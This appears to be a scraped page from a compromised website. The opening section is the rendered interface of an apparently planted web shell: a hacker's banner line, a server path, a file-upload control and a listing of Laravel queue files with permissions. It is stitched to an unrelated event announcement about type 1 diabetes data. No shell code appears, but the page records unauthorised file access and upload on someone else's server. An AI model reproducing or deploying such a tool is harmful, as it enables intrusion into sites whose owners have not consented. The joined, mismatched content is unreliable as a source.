I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
BeanstalkdQueue.php5343 KBOctober 03 2023 13:32:300666
CallQueuedClosure.php2560 KBOctober 03 2023 13:32:300666
CallQueuedHandler.php8269 KBOctober 03 2023 13:32:300666
Capsule-October 03 2023 13:32:300777
Connectors-October 03 2023 13:32:300777
Console-October 03 2023 13:32:300777
DatabaseQueue.php11839 KBOctober 03 2023 13:32:300666
Events-October 03 2023 13:32:300777
Failed-October 03 2023 13:32:300777
InteractsWithQueue.php1816 KBOctober 03 2023 13:32:300666
InvalidPayloadException.php552 KBOctober 03 2023 13:32:300666
Jobs-October 03 2023 13:32:300777
LICENSE.md1075 KBOctober 03 2023 13:32:300666
Listener.php5779 KBOctober 03 2023 13:32:300666
ListenerOptions.php902 KBOctober 03 2023 13:32:300666
LuaScripts.php4440 KBOctober 03 2023 13:32:300666
ManuallyFailedException.php125 KBOctober 03 2023 13:32:300666
MaxAttemptsExceededException.php130 KBOctober 03 2023 13:32:300666
Middleware-October 03 2023 13:32:300777
NullQueue.php1426 KBOctober 03 2023 13:32:300666
Queue.php10780 KBOctober 03 2023 13:32:300666
QueueManager.php7054 KBOctober 03 2023 13:32:300666
QueueServiceProvider.php9521 KBOctober 03 2023 13:32:300666
README.md1217 KBOctober 03 2023 13:32:300666
RedisQueue.php10035 KBOctober 03 2023 13:32:300666
SerializesAndRestoresModelIdentifiers.php3763 KBOctober 03 2023 13:32:300666
SerializesModels.php2461 KBOctober 03 2023 13:32:300666
SqsQueue.php6182 KBOctober 03 2023 13:32:300666
SyncQueue.php3954 KBOctober 03 2023 13:32:300666
Worker.php24833 KBOctober 03 2023 13:32:300666
WorkerOptions.php2425 KBOctober 03 2023 13:32:300666
composer.json1815 KBOctober 03 2023 13:32:300666
VORNE.AI - Event Details
Reaching Diabetes Global Compact Goals
29 May
2024
CHIEF

Reaching Diabetes Global Compact Goals

At the 75th World Health Assembly, a coverage target for people living with type 1 diabetes (T1D) was introduced: 100% of people with type 1 diabetes should have access to affordable insulin and blood glucose self-monitoring. It is estimated that more than 1 million children live with T1D. No international and limited national data currently exist on the incidence and prevalence of T1D. Explore lessons for leapfrogging data systems for Type 1 Diabetes in this interactive session.

Wednesday 29 May | 08H00-10H00 | Intercontinental Hotel, Ballroom A

Tags: